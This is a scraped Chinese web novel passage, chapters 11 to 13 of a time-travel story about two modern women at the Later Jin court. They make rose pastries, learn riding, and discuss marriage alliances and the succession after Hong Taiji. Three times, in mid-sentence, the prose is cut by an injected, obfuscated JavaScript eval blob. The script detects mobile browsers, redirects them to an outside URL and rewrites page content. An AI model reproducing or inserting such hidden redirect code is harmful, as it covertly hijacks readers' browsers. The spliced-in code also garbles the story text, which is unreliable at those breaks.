童尘‘啧’了声,“那肯定是帅哥啊,我又不是那个什么。重色轻友,人之常情。反正我不回草原,你要回去的话...哎呀....你自己回去,我才不回去,好不容易才过来的....” “啊!”于微大叫着朝童尘扑了上去,挠她的痒痒,“你居然选帅哥不选我,你太伤我心了。” “上天作证,我对帅哥的心是真的。” 11. 鲜花饼 东北是个很好的地方,土地肥沃,除了水稻,其他什么作物种下去,都长得非常旺盛。四月播种,八月就能丰收,农闲的时间,人们就进山打猎、砍柴。 女真是个渔猎民族,区别于游牧民族和农耕民族,既种地,也放牧,还会打猎钓鱼。 五月,沿着盛京城一片旷野平原往东,榛子林中开遍野玫瑰花,于微和童尘漫步花海之中,阵阵香气扑鼻。 望着眼前纯天然无污染的玫瑰花田,童尘不由动容,对于微道:“微微,想吃鲜花饼。” “那就做。” 现代的时候,童尘和于微住在一起,经常晚上刷着刷着视频就饿了,然后特别想吃视频里的美食,两人性子着急,说动手,就动手。 大半夜爬起来做饭的两个神经病。 两人要摘花,侍女们也来帮忙,新鲜玫瑰花采摘下花瓣,用清水洗干净,放入容器中,细细捣烂,然后滴入柠檬汁。 清朝的柠檬叫香橼,和现代的柠檬品种上有些许差异,一般当做香料和药材使用,只产于南方,新鲜的香橼无法运输到盛京,所以侍女们找来的是切过晒干的柠檬片。 于微将柠檬片泡进热水,煮沸浓缩后滴入玫瑰花酱之中。做这一步的时候,她很忐忑,抱着死马当活马医的心态,不成功,就成猪食。 下一步就是加蜂蜜,东北也盛产蜂蜜,八旗都有各自的山林,每年有采蜜人集中采蜜,再统一分配、售卖。皇太极很爱吃甜食,每年送到汗宫中的蜂蜜少说有千斤。 纯天然无污染东北野生蜂蜜,香气扑鼻,于微没忍住尝了一口,惊为天人,甜而不腻,连忙让童尘也尝一下,她尝过之后,眼前一亮。 “我要拿这个和柠檬一起泡水喝。” 蜂蜜柠檬茶。 金黄的蜂蜜淋入暗红的玫瑰花酱,搅拌均匀,装入干净的罐子,密封。只需要再等两天,就能知道这次尝试的结果。 美食还是猪食,在此一举。 两天之后,于微和童尘怀着忐忑而激动的心,打开了盖子,一股香甜的气息迎面扑来,很成功的玫瑰花酱。 是美食。 做好了鲜花饼的里子,现在就剩鲜花饼的面子。 没有厨房秤,两人望着一盆面粉沉思良久。 “随便放点吧。”于微道,“自己吃就不那么讲究了。” “我看可。” 不考虑克重,那制作方法可就太简单了,开水烫面粉加猪油、白糖,揉成一团油皮,放在一旁备用。油酥就更简单了,面粉加猪油。 油皮擀开,加入油酥,略微松弛,等待松弛的时间,将玫瑰花酱再加工一下,和芝麻与炒得微微焦的面粉、猪油。 原本要用玉米油,没有,就放了点猪油代替。 最后将玫瑰花酱包入松弛好的皮。 烤箱这个东西中国古代就有,和现代烤箱唯一的区别就是能源与结构不同。 贝勒府的烤箱用陶土制成,长方体,三层,上下都可以加木炭,中间一层放菜肴。这个不能控温的烤箱,就超出了两人的预期。 于是乎,两人请来了‘如来佛祖’——贝勒府面点大厨。 专业的东西,要交给专业人士,大厨也大概看出,两人是在烤酥饼一类的东西,拍着胸脯道:“大福晋放心交给我。” 大厨不愧是大厨,烤出来的鲜花饼酥脆可口。 傍晚时分,红霞漫天,夕阳温暖,从窗外照入,两人靠在松软的棉枕上,面前炕桌上摆着鲜花饼和刚泡好的蜂蜜柠檬茶。 一口酥脆的鲜花饼,搭配酸甜的蜂蜜柠檬茶,好惬意的下午茶时光。要是能有个电视看看就好了,放个甄什么传,那可就十全十美了。 于微看向童尘,童尘也似有同感,两人正思索着怎么找个平替,那边侍女来禀,说是费扬果阿哥来了。 费扬果一进门,便道:“好香,你们在吃什么好吃的?”伸头往桌上一探,“是鲜花饼。” 也没等两人让他,他自己便伸手拿了一块,侍女搬来凳子,他在炕下坐着,细细品鉴起鲜花饼。 “真不错,好吃。这是你们自己做的,还是让府里厨子做的?” “当然是自己做的。”童尘道。 “我过来的路上遇到个好笑的事情。”费扬果说了一半,就笑了出来,两人见他这神情,立刻坐了起来,“快说。” “东北这边,天气冷,大家性格都挺暴的。我在路上遇见两个人在吵架,骂的听难听的,一言不合,就互相问候起老爹老妈。” “问候得起劲,顺道也问候了一下爷爷。” 于微靠了回去,“吵架而已,这有什么。” “但问题在于,这两个人我之前在不同的场合见过,他们两个都是爱新觉罗家的。应该是隔得太远了,不太认识。” 闻此,三人一时没忍住,都笑了出来,问候了一圈,最后竟然是一家子。 “哄堂大孝了。”于微道。 童尘也笑道:“太孝顺了。” 讲完笑话,气氛活跃了许多,费扬果看了两人一眼,问道:“你俩不是要学骑马吗?我看这几天天气不错,你看你们什么时候有空。” “我们一直都有空,主要看你。”于微道。 费扬果笑了下,“我也什么时候都有空。” 于微垂眸,想了想,试探性问道:“他们还是没带你去?”费扬果闻言,叹口气,“算了不提了,命不好。” 穿成嫡嫡道道世界的庶子,命可太烂了。 “那咱们就明天去吧,但教你们可以,我有个条件。”费扬果看向于微,于微挑眉,“嗯?” “前线肯定会向后方汇报战况,我想看看。” “汇报是汇报,但是这个东西不在我手里。”于微有些为难,“应该是直接报给哈日娜。” 她可不想过去干活。 费扬果想了想,“她知道的也未必全,大军行进,每隔一段时间,会向留守盛京的贝勒汇报行军情况。国君福晋肯定知道,你是她妹妹,你问她,她肯定会跟你说一点。” 于微有些迟疑,战报这种东西,虽然算不上什么重要东西,但也系属机密,短暂犹豫,他还是问费扬果道:“你打听这个东西做什么?” 费扬果直言不讳,“那我肯定要想办法混出点名堂啊,没当成富二代,一穷二白,那只能自己白手起家,不然真的要饿死了。” “那行。”于微一口应下,“我帮你问问吧。” “那我就先走了。” 说完,费扬果就要走。外男入内室,本就不妥,而且,多铎还不在家.... 只是他要说的事情,不能为外人道,所以才亲自前来,话说完了,他得赶紧走了,否则真就瓜田李下,说不明白了。 走之前,他又顺了几块鲜花饼,嘴里叼一块,手里还捧了几块,跟八百年没吃过鲜花饼一样。 烤箱大,两人这一次做了不少,放久了就不酥脆了,于微决定跟大家一起分享。除了准备带进宫给哲哲和布木布泰的,她还给哈日娜和大格格装了一些。 “你胆子真大,敢给孕妇送吃的。”童尘咽下口中的鲜花饼,提醒道。 “那算了,都给大格格吃吧。”于微到底不敢冒这个险,虽说哈日娜对她很好,但人心都揣在各自的肚子里,她不敢赌。 “哲哲应该没事吧,她没道理害我。” “好像是的。” 给哲哲的鲜花饼,两人全程盯着,不敢让它离开自己的视线,她们带着鲜花饼进了清宁宫,哲哲正和布木布泰闲聊,得知两个妹妹为自己做了鲜花饼,十分开心,忙让她们拿上来。 哲哲的长女马喀塔十一岁,脸上稚气未脱,言谈举止,却颇有成人的担当,她并没有急着吃东西,而是先照顾两个年幼的妹妹。 于微悄悄指了达哲格格给童尘看,“那就是你未来小姑子,和奇塔特订婚的那位后金公主,哲哲和皇太极的第二女,三格格达哲。” 这件事,于微回草原之后,第一时间就说给了童尘听,当时她震惊的难以言表,如今真见到了,她的目光更为复杂。 童尘望着面前不过六七岁的小格格,低声道:“好小。” 七八岁就订婚,十二三岁就嫁人,童尘抿唇,达哲格格一抬头,见两位姨妈望着自己,好奇睁着双大眼睛,看了回去。 她忽然咧嘴一笑,举起手中的鲜花饼,对两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于微吓得赶紧道:“额格其,我哪会操持家事。” 哲哲板着脸,“不会才应该去学,额吉将你宠坏了,养成这么一副无法无天的性子。这里是盛京,不是草原。” “不得丈夫的心,不能掌握部众,也没有儿子,你将来要怎么立足?” “我有额格其你啊。”于微抬头,说得认真,“我可是国君福晋的妹妹。还有布木布泰。” 她看向一旁静默不语,听着两人对话的布木布泰,“有你们在,我担心什么。” 于微不说还好,这么一说,哲哲实在恼怒,一掌拍在案上,发出一声巨响,将屋中人都吓得浑身一颤,布木布泰赶紧劝道: “姑姑,不要生气。” 于微见哲哲生气,料想自己肯定哪句话说错了,但到底是哪句? 哲哲气得一句话都说不出来,静默已久的布木布泰终于开口,娓娓道:“达哲,你不能只看眼前,要将目光放长远。” “我和姑姑现在都没有儿子,也不知道将来会不会有,如果没有,大汗只有乌拉那拉氏所出的长子豪格,和叶赫那拉侧妃所出的塞硕二子。” “豪格年长,又战功赫赫,谁也不知道将来如何。”布木布泰说得谨慎。 “即便姑姑这次生下阿哥,也还年幼,女真人马上得天下,没有军功,固然尊贵,也什么都不是。” “现在也许在我们,将来,却或许在你啊达哲,多铎是大汗的幼弟,与八贝勒、九贝勒系大妃所出,三兄弟掌握两白旗,无论是豪格,还是姑姑腹中的阿哥,都需要你。” 于微恍然大悟,布木布泰这么一说,她听明白了。 她只想着福临会成为顺治帝,却完全忽略了当下的情况。福临这小子还没出生呢,整个科尔沁后妃群体,还处在对未来的担忧之中。 豪格要是继位,这群跟他没有血缘关系的额娘们,肯定就会失势。即便她们能生出阿哥,但皇太极已经不年轻了,不一定能等到阿哥长成,稳稳掌控政权。 这个时候,比豪格小四岁的叔叔多铎就发挥起重要的作用。是作为她们在朝中的依仗,还是作为匡扶幼主的能臣,就要根据实际情况而定。 想到这里,于微心中蓦然一沉,坏了,这不是一桩简单的政治联姻,她跑不掉了。 12. 联姻的本质 回贝勒府的路上,于微闷闷不乐,对于这桩婚事,她起初只当做寻常的政治联姻,为了两部落之好,并未往远处想。 但现在看来,她忽略了一件很重要的事情,后金众人的年龄。 女真人成婚早,兄弟之间年纪相差很大十分常见,而作为兄弟中排行之末,多尔衮、多铎比兄长们小好几轮。 他们的老妈大妃阿巴亥,都比大贝勒代善小将近十岁,何谈他们自己,两人甚至比皇太极的长子豪格还小几岁。 皇太极将两个小弟,完全是当儿子养的。 甚至皇太极自己都说过,对侄子和弟弟们,比对自己的儿子豪格都好,让诸贝勒不要负他。 皇太极虚假的儿子——豪格。 皇太极真正的儿子——多尔衮、多铎。 现在,皇太极已经不年轻了,眼瞅着要奔五的人了,却没有几个儿子。他真要一伸腿去了,势必会留下身后一群寡妇。 按照蒙古的规矩,前任大汗死了,后任大汗会收继除了自己生母之外所有的前汗妻妾,后金虽然没有这样的例子,皇太极对努尔哈赤留下的福晋们,礼遇有加。 可说到底她们也只是前汗的福晋,又与现任大汗没有血缘关系,如何安置她们,全看现汗的良心。良心这个东西,不一定所有人都有。 科尔沁送来乌尤塔,就说明他们也还没放弃生下一个带有蒙古血脉的阿哥的希望。一个年幼的,没有军功的阿哥,要想坐稳汗位,一定需要一位能力出众的摄政王。 比如多尔衮和福临这对叔侄组合。 只是现在一切还未发生,科尔沁还在广撒网阶段,他们觉得多铎也不失为一个前途大好的投资对象。 如果是这样,那离婚可就太难了。 毕竟他们不是单纯为了两族之好,而更多怀着投资后金汗位的想法,一个实力强大,先后击败蒙古林丹汗、朝鲜,被大明视作心腹大患国家的汗位。 她的幸福能比得上后金的汗位吗?这点自知之明她还是有的。 童尘看出她心情沉重,方才那番话,她也听明白了,想了想,她满不在乎道: “哎呀,后金也挺好的,比蒙古部落有前途,蒙古风景是挺不错,但烤肉吃多了还是有点腻,大米饭才是主食之王,进关了就有大米饭吃了。” “哎呀,忽然好想吃大米饭,咱们今天晚上吃米饭吧。”童尘拉住了于微的手臂,于微也正愁晚上吃什么,见童尘想吃米饭,便应了下来,“好。” 两人手挽着手出了凤凰楼,平原无边,远山起伏,金光照山巅积雪,童尘指着晚霞对于微道:“快看,好漂亮。” “你说东北会有极光吗?漠河好像有,漠河在哪儿?” 童尘有些急了,“好恨!没有手机。” “别急,咱俩研究研究。”于微安慰童尘道。 “行。研究一下,反正我是不打算回草原了,那个帅哥要真是多尔衮的话,也不是不行,我只是贪图他的美色和权势。他现在风华正茂,等他变心,也差不多老了,该丢了。反正我不可能嫁给一个丑人和一个小屁孩,那这辈子都完了。” 童尘一想到那群来部落求婚的癞蛤蟆,就气不打一处来。 听童尘打算留在后金,于微心头那点阴霾一扫而空,“行吧,既然你决定留在这边,那我也不回去了,走,先挑衣服,再去挑马。” 遇到困难不要怕,先放下,说不定它就自己迎刃而解了,即便不能解决,那也玩够了再死,才不算吃亏。 人生,没必要那么认真,事事上纲上线。 先爽。 既然要学骑马,当然要穿好看的骑装,再配上一匹英俊的马,鞍鞯辔头马鞭等骑具,也不能少,都要选好看的。以前是条件不允许,要当牛做马,还受困于资金,现在一切允许了,当然要挑挑拣拣,选点喜欢的。 两人翻箱倒柜,各自选了一件新蒙古袍,以备次日找费扬果学习马术。 次日一大早,于微和童尘就起床,换上了崭新的骑装,于微差侍女去和哈日娜说一声自己出门了,便和童尘直奔牧场而去。 于微的陪嫁里,除了珊瑚蜜蜡首饰、衣服皮毛,日常用的金银器皿,还有牛羊马匹,以及若干户百姓,负责为她放牧。 费扬果到时,两人正在挑马。 牧人挑选了几匹英俊高大、性格温顺的母马,供她们选择,见费扬果来了,于微连忙叫他过去,“你觉得哪匹马好?” 童尘也看向费扬果。 两人没骑过马,也看不出马匹好坏,只觉得这些马匹都长得一模一样,费扬果看向牧人选出的几匹马,拍拍这个,又拍拍那个,眼中喜爱之情流露,“都是好马啊。” 于微不解,手臂忽然被人撞了一下,侧首看去,童尘朝她使了个眼色,朝远方望去,她顺着童尘的视线看去,一匹干瘦的马映入眼帘,两人虽然看不出什么是好马,但劣马,还是能一眼看出。 尤其是在自己马匹的对照之下,差别愈发明显。 一匹马的价格不便宜,大概十几二十只羊的价格与一匹寻常马等,战马翻倍,好马的没有上限。 费扬果一回头,发现两人正打量着自己的马,他笑了下,轻松道:“喂,你们俩这么盯着我的马看,他会害羞的。”他走过去,拍了拍自己马的脖子,“别看他瘦,那我也不胖啊,他脾气可好了,到现在没摔过我一下。” 童尘笑了,“瘦人乘瘦马,那你是说我们胖了?” “你们不是胖,是贵,贵人需要门面,我这只是寻常的代步工具,瘦一点的马就够了。” 于微忍俊不禁,“这就是高情商回复吗?低情商怎么说?” “差生文具多。”说完,费扬果哈哈笑出声来。 于微和童尘也笑了,“好啊,你敢嘲笑我们。” 牧场是哈日娜从正白旗划分给于微陪嫁民户居住放牧的地方,相当于这片地方都是她的,为了掩人耳目,她特意选了这个地方,还叮嘱侍女不必跟上来。 费扬果教的认真,两人学的也快,很快就骑的有模有样。 童尘学会了骑马,高兴的在平原上转了一圈又一圈,于微练得累了,下马休息,地上铺了毛毡,摆着各类新鲜水果、糕点,五六月夏日将近,庄子里的水果蔬菜也成熟,送到府上来。 银质的壶中还装着奶茶。 费扬果望着琳琅满目的吃食,挑眉,“你俩是出来野餐的吧,带这么多东西。” “不吃饱怎么有力气骑马。”于微振振有词。 于微为费扬果倒了一杯奶茶,费扬果喝了一口,似乎吃到了什么,认真的嚼了嚼,一脸惊奇,“珍珠和芋圆?还有芋泥!” “当然。”于微开心的扬了扬手中的银壶,“喝奶茶怎么能不加小料,加盐!” 蒙古的奶茶是咸的,加盐和炒米,于微和童尘起初还感觉新奇,后来就腻了,研究起甜奶茶来,一开始只加珍珠,后来庄子上送来芋头,两人才又加了芋泥、芋圆。 费扬果已经很久没喝到奶茶了,一连喝了三杯,第四杯的时候,于微不肯再给他倒了,“就剩一点了,尘还要喝,你别喝了。” “吃个梨吧。”她捡起个梨,丢给费扬果。 未经杂交的梨个头不大,但分外甜,费扬果在身上擦了擦,咬了一口,汁水四溅,“好甜。” 于微取下腰间佩剑的银柄小餐刀,认真细致削起梨皮,马蹄声由远及近,等童尘从马上跳下,风风火火坐到于微身边时,一个光洁不带一丝皮的梨就递到她面前。 “不吃,我要喝奶茶。”童尘拿起银壶,大喝了一口,满足的长舒口气,“好喝。” “骑马真好玩,我骑在马上,脑子里就响起那首bgm,让我们红尘作伴,活得潇潇洒洒。” 她说着说着,就唱了起来,惹得于微和费扬果哈哈大笑。 “哈哈哈哈哈哈。” “我要再去转一圈,走。”童尘想叫于微一起,于微摇摇头,“我的腰好疼,你自己去吧。” “那我去了。” 童尘走后,费扬果看了一眼于微,直言不讳,“你好像有心事的样子。” “有吗?”于微垂眸,手中小刀扎入梨身。 “怎么没有?” 于微懊恼叹口气,切下一块梨,怅然道:“我好像回不去草原了。” “你才想明白啊。”费扬果无奈,“当初就劝过你了,别说你只是闹了点绯闻,你就是真跟我偷情,他说不准都能原谅你。” 于微蹙眉,瞪向费扬果,费扬果‘啧’了声,“我说真的,偷情这在后金啥也不是,大妃偷大贝勒代善,新娶的福晋偷阿济格,哦,代善的侧福晋还和他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941211|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子跟侄子同时偷情呢,三个人。” “啊?!”于微一惊。 “不对,话题歪了。”没等于微让费扬果展开说这个侧福晋的事情,费扬果先将话题扯回原轨。 “你这不是简单的缔结部落之好的联姻,都是远棋,你看,皇太极是不是不年轻了,他真死了,后金谁说了算?当然是年轻贝勒们的天下。” “而且皇太极的情况还比较特殊,他基本可以算作没有儿子,庶子不算数的嘛。豪格的生母是被休的福晋,他就很尴尬,硕塞的母亲是侧妃,被皇太极改嫁给大臣了,勉强算嫡子。” “豪格的话,或许还能勉强能压制叔叔们,也不一定真能压住,豪格他就一个人,阿济格、多尔衮、多铎是三兄弟。现在皇太极一心跟蒙古联姻,想立一个有蒙古血脉的储君,但你也知道,他肯定没办法等到孩子长大掌权的,顺治就是例子。” “女真是父死子继和兄终弟及并存,在军功时代,父死子继这一原则,也未必能干得过兄终弟及。金国开国皇帝完颜阿骨打逝世后,皇位就是由他战功赫赫的弟弟太宗完颜晟继承,而不是他的儿子。” “后金现在也是这样,大贝勒阿敏被幽禁,牛录转移到他弟弟济尔哈朗手里,三贝勒莽古尔泰死了,他一母的弟弟德格类继承他的牛录。这两个大贝勒不是没有儿子,兵权这个东西不是想继承就能继承的,人只会跟从他们认为的强者,这就是威望、资历。” “皇太极要是噶崩死了,弟弟们是真的有继承的资格。” ”皇太极死后多尔衮公然跟豪格开撕,为什么他这么理直气壮,就是因为兄终弟及,而反对的人是因为什么,最后几方妥协,立了顺治。” “站在现在人的视角,年轻的汗弟,那可是香饽饽,上限是大汗,给你举个蒙古例子,《射雕英雄传》里,蒙哥在钓鱼城被郭靖打死,最后不也是他的弟弟忽必烈继承了汗位。下限也得是个军功彪炳的国家柱石,一方重臣。而且,多铎还真是铁帽子王,世袭的和硕亲王!” 费扬果提到和硕亲王,激动地猛拍大腿。 “反正你的目的是跟你姐妹团聚,让她也嫁过来不就完了,否则,我是说万一,万一你跟他离婚,以后多铎记恨你,报复你,你不就完了,除非你以后的老公比他还有权势,可他以后是大清二号人物,除非你改嫁给多尔衮。” 于微的脸顿时拉了下来,“他这么小气的吗?” “那不好说。” 于微想了想,“不离婚也不行吧,我对他没什么感情,而且他毕竟是我堂姐夫,这个背德感有点强啊。” 她终于说到了自己在意的点。 背德。太背德了。 方才还滔滔不绝说着局势的费扬果仿佛被人一把攥住脖子,霎时变得安静下来,他被于微这句话堵住了,好半天,才试探性挤出一句,“那不然,把你堂姐弄死?” 于微满眼惊恐看向费扬果,“你在说什么?” 小姨子登堂入室,踹走原配,还要痛下杀手,这更背德了。然后呢?堂姐化身品如,归来复仇?好复杂的剧情。 “开玩笑的。”费扬果无奈叹口气。 “你要知道,入乡随俗这四个字怎么写,那布木布泰还是嫁给了自己的姑父呢,哦,也能是嫁给了自己的侄女婿。” 费扬果显然记住了当时于微跟他说过的草原人际关系。 于微郁闷的长叹口气,“想找个赘婿,说不准能一夫一妻。” 费扬果笑了,“你要是觉得自己能有一辈子控制赘婿的能力,也可以试试,每个人都有自己的思维,你想让古代人接受现代思维,要么有孕育现代文明的基石,要么强制灌输。” “你这肯定属于后者,想用大福晋之妹的身份压制他,强迫他接受一夫一妻。”费扬果喋喋不休道。 “好烦。”于微捂住了耳朵。 费扬果见状,不再说下去。 于微深吸口气,“好了,不说这个了,说点你感兴趣的吧。” 哲哲最后还是将前线的情况告知给了于微,于微一一记下。 “大军进度很快,左右两翼分别前进,前锋已经快到明国境内了,有一件特别的,林丹汗得了天花,现在已经病死了,察哈尔部众四散,林丹汗的第二大妃高尔土门福晋斯琴图带着一千二百户部众前来投靠。” 13. 居然霸凌到她头上了 大军去的快,回来的也快,这全有赖于后金头号功臣——歪脖子树宗。 崇祯帝因接连军事失败,下令严惩边军将领,失城者斩首,以至于宣府一带官员根本不敢出城迎战,紧闭城门,后金大军入明国境内,如入无人之境,不过两个月便大获而归。 哈日娜派人告知于微,多铎即将凯旋而归,正开开心心为哲哲腹中孩子做肚兜的于微顿时不开心了,将手中的绸缎丢进竹筐,脸色凝重,像是刚死了丈夫的寡妇。 不对,要真当寡妇了,她这会儿可不该是这个表情。 她正叹气,童尘还未来得及安慰,忽侍女阿雅匆匆入内,“福晋,别吉,宫里大福晋要生了,西宫福晋派人传讯,让你赶紧入宫呢。” 哲哲怀胎十月,一朝到了生产的时候,于微一听,赶紧起身,和童尘进宫。 清宁宫前,围了不少人,萨满傩舞中庭,为产妇祈福。布木布泰站在一旁,怀着抱着小女儿阿图,有条不紊的指挥着嬷嬷、侍女,为哲哲接生。 见陈颜与童尘来了,布木布泰给两人也布置了任务。 “你们看着格格们,别让她们偷偷溜进去了。” 说完,于微手中就被塞了一个胖乎乎的小孩,布木布泰的第三女淑哲,还不到一岁,长相极其肖似其母,眉宽额阔,因为还没断奶,她身上充斥着一股很好闻的奶香。 于微吸了一口,看向童尘,童尘会意,凑了过来,也吸了一口,两人对视一眼,低头微微一笑。 好香的孩子。 马喀塔不愧是长姐,十多岁的孩子,已经展现出长女的稳重,她拉着最调皮的妹妹达哲格格,一步不让她离开自己,达哲格格则拉着好姐妹雅图格格。 阿图格格要小些,紧紧拉着姨母童尘的衣袖。 一众人忧心的站在产房外,等着里面的消息,血腥气浓厚,扑鼻而来,耳畔,萨满鼓乐声嘈杂,吵得童尘的心愈发烦躁。别人不知道,她知道,哲哲没有儿子,所以这一胎也不会是她心心念念的阿哥。 算上里面正在生的那个格格,哲哲与布木布泰总共生了六个格格,十多年间,两人轮流生育,却始终没有生下一个男孩。 没办法,谁让家里真有皇位要继承。 这是真的夺嫡,不是夺雅迪。 一次次希望,一次次失望,于微不知该如何安慰这位对她颇为照拂的‘姐姐’,生不出男孩真不是她的错,那是染色体的问题,得怪皇太极。 但,后金怕是没人敢怪他.... 哲哲生育过两次,有过生育的经验,没过多久,屋中就传出阵响亮的婴儿哭声,布木布泰如释重负的从里面走出来,高兴向众人宣布,“大福晋又得一女,小格格出生,是喜事,上下都有赏。” 听闻有赏,下人们纷纷面露喜色,一个两个争先恐后说着好听的吉祥话。 产房收拾妥当,布木布泰才让于微和童尘两个没生育过的人进去,哲哲靠在炕上,满面疲色。 另一边炕上不知何时多出个摇篮,吊在房梁,悬空炕上,新出生的小格格被放在摇篮中,睡得正香。于微看向童尘,童尘挑眉,显然,她也对这奇怪的摇篮摆放方式感到好奇。 哲哲生产,东宫福晋扎鲁特氏也来探望,于微与童尘虽然对摇篮感到好奇,但碍于有外人在,并未开口询问,而是默不作声上前,一左一右陪在哲哲身边。 “恭喜大福晋,又得一位小格格。”东宫福晋扎鲁特氏笑道。 她说这话时,虽然语气柔和,脸上也带着笑意,但于微心中还是不自觉生出一丝反感,她本能去看童尘,一抬眸,便对上童尘的视线。 看来这东宫福晋,的确是在阴阳人。 也是,大福晋之下,就是她,扎鲁特氏是东宫福晋,若论地位,还排在布木布泰这个西宫福晋之前。于微见扎鲁特氏的腹部也隆起,愈发明白她挑衅的原因了。 她若是抢在哲哲前面生下阿哥,那可就不一样了。 哲哲虽然面露疲色,但依旧从容镇定、端庄雍容,和扎鲁特氏交锋,丝毫不落下风,倒是布木布泰看不下去了,下了逐客令。 “扎鲁特福晋看也看了,大福晋也知道你的心意了,就先退下,让大福晋好生歇息吧。” 扎鲁特福晋的视线陡然变得锐利,她扫了一眼布木布泰,布木布泰也不惧,平静的望了回去。 于微看向童尘,童尘微微点头,她于是开口道:“福晋身怀有孕,不宜劳累,还是早些回去休息吧。” 童尘没给扎鲁特氏接话的机会,“有我们姐妹陪在大福晋身边,就不劳东宫福晋了,请回吧。” 见对方人多势众,扎鲁特氏也不觑,冷哼一声,将话锋对准于微,“十贝勒福晋不曾生育,如何知晓怀妊的妇人当做什么,不当做什么呢?” 于微愣了一下,这是在嘲讽她不会生孩子吗?童尘也蹙眉,两人看向彼此,见对方眼中都是困惑,才放下心来,显然,两人都没明白这番话的杀伤力在何处? 没见过丁克的落后古代人啊! 于微想反击回去,可实在不知道该从何处反击,没孩子,这不是大好事吗?放在现代,这可是能和恭喜发财并列的好话。童尘也哑火了,急的抓了下自己的头。 “你这是说的什么话。”哲哲怒了,威严斥责道:“达哲才成婚多久?她一个年纪轻轻的女孩子,什么都不知道,你这个做嫂子的,不说教导她,怎么能对她说这种话?十贝勒出征在外,你就是这么对待他留守的福晋吗?” 哲哲对人一向宽容,鲜少有如此不留情面斥责人的时候,她毕竟是国君福晋,皇太极曾下令诸福晋都要听从她的训导,拉开哲哲和其他福晋之间的地位差距。 扎鲁特氏虽然是东宫福晋,但地位在哲哲之下,见哲哲发怒,她也不敢坐了,当即站了起来,“大福晋息怒,我知道错了。” 哲哲别过头,不再看扎鲁特氏,余怒未消道:“好了,你先回去吧。” “是。” 扎鲁特氏离去之后,哲哲才转过头来,于微正想安慰她,手中哲哲的手却忽然抽了出来,搭在她的手背上,反安慰她道:“别管她说什么,你还小,以后的日子还长。” 于微眨了眨眼睛,“额格其。” 哲哲没有如于微预想的那样脆弱,很快就接受了自己又生下一个小格格的现状,她熟练的抱起刚出生的女儿,给几个格格看,“这是小妹妹。” “以后我们淑哲也有妹妹了。”布木布泰亲昵的在奶团子淑哲脸上蹭了蹭。 哲哲笑了,看向几个孩子的目光温柔而宁静。 “达哲,巴特玛。”哲哲看向二人,“我知道你们担心我。” 哲哲注意到了两人神情的凝重,知道她们是在因为自己生下了一个女儿,而非儿子担忧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941212|177356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拉过两人的手,放在一起,上下握住。 “我固然想得一个阿哥,可没有就是没有,若因为这个还没有的阿哥,忽略了格格们,才是着相。是什么就是什么,格格也是我的掌中明珠。” 蒙古崇信佛教,哲哲在草原,也耳濡目染,她叮嘱二人道:“你们日后也要嫁人生子,切记遇事不可急躁,要常怀一颗平常心。” 见哲哲如此豁达,于微悬着的心安稳放回了胸膛,她看向童尘,童尘也是一般神情。果然,能当上国君福晋的人,格局果真有档次。 孩子洗三由布木布泰一手操办,诸福晋、公主、贝勒福晋们都来庆贺,场面盛大,但在一片络绎不绝的道贺声中,于微清晰的听见了几声讥讽的笑。 她猛然回首,那讥讽的笑声,却如蜻蜓掠过湖面一般,消失不见。 就在她以为是自己听错了的时候,童尘轻轻碰了碰她的手,顺着童尘示意的方向望去,但见一个被不少贵妇簇拥的中年妇人,嘴角讥讽的笑意还未散去。 那妇人个子高,人到中年,已经有些发福,腰如水桶,脸上的皮肤松弛,远远望去,五大三粗,颇有些凶悍的模样。她说话时,下巴微微扬起,神情倨傲。这妇人盛气凌人,身边跟着的几个年轻福晋也气焰嚣张。 她们边说边笑,目光还不时往哲哲的方向望去。 “这谁啊?”于微忍不住问出声。 她们都是谁?居然组团霸凌到哲哲头上了? 童尘摇头,“你都不知道的,我能知道?” 于微四下环顾一圈,看到了人群中的马喀塔,她也正盯着那群人看,对走到身边的于微和童尘毫无察觉,于微轻轻喊了她一声,吓得马喀塔浑身一震。 “姨妈,你吓死我了。”马喀塔嗔道。 “她们是谁啊?”于微扫了一眼刚才马喀塔紧盯的方向,径直问道。 “是两个姑姑,哈达格格、穆库什格格,还有哈达格格的两个女儿,贝勒岳托和豪格的福晋。”马喀塔流畅答道。 原来是两个大姑子,那没事了。 但下一瞬,于微又猛然想起件事,去年来盛京时,满珠习礼的妻子生产,她记得当时费扬果说过,满珠习礼的妻子是皇太极收养岳讬的女儿。 岳讬的福晋,那不就是满珠习礼的丈母娘? 满珠习礼的丈母娘和丈母娘的老妈霸凌他姑姑是吧? 不对,还有豪格的事情,儿媳妇霸凌婆婆妈?倒反天罡了。 她正想着,却听马喀塔道:“说起来,穆库什姑姑和小叔叔也还有亲呢,当年穆库什姑姑嫁给了乌拉国的布占泰,布占泰是大妃阿巴亥阿玛满泰的弟弟。” 什么泰?什么泰? 于微绝望闭上了眼睛,等一下,等一下!前一个还没梳理完呢。 童尘最先反应过来,“十贝勒的姐姐嫁给了他的叔爷爷?” 她这么一说,大脑宕机的于微也反应过来了。 啊。原来是这个关系。 